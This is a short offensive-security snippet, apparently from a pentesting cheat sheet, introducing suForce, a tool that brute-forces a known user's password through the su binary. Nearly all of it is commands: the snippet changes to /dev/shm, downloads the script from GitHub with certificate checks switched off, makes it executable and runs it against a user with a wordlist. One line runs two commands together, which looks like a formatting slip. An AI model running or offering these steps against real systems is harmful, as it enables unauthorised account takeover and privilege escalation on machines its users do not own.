If you have a username and want to try to obtain their password, suForce will make authentication attempts against that user from the su binary, performing a brute force attack until a successful collision occurs.
cd /dev/shm
wget --no-check-certificate -q "https://raw.githubusercontent.com/d4t4s3c/suForce/refs/heads/main/suForce"
chmod +x suForce./suForce -u <USER> -w <WORDLIST>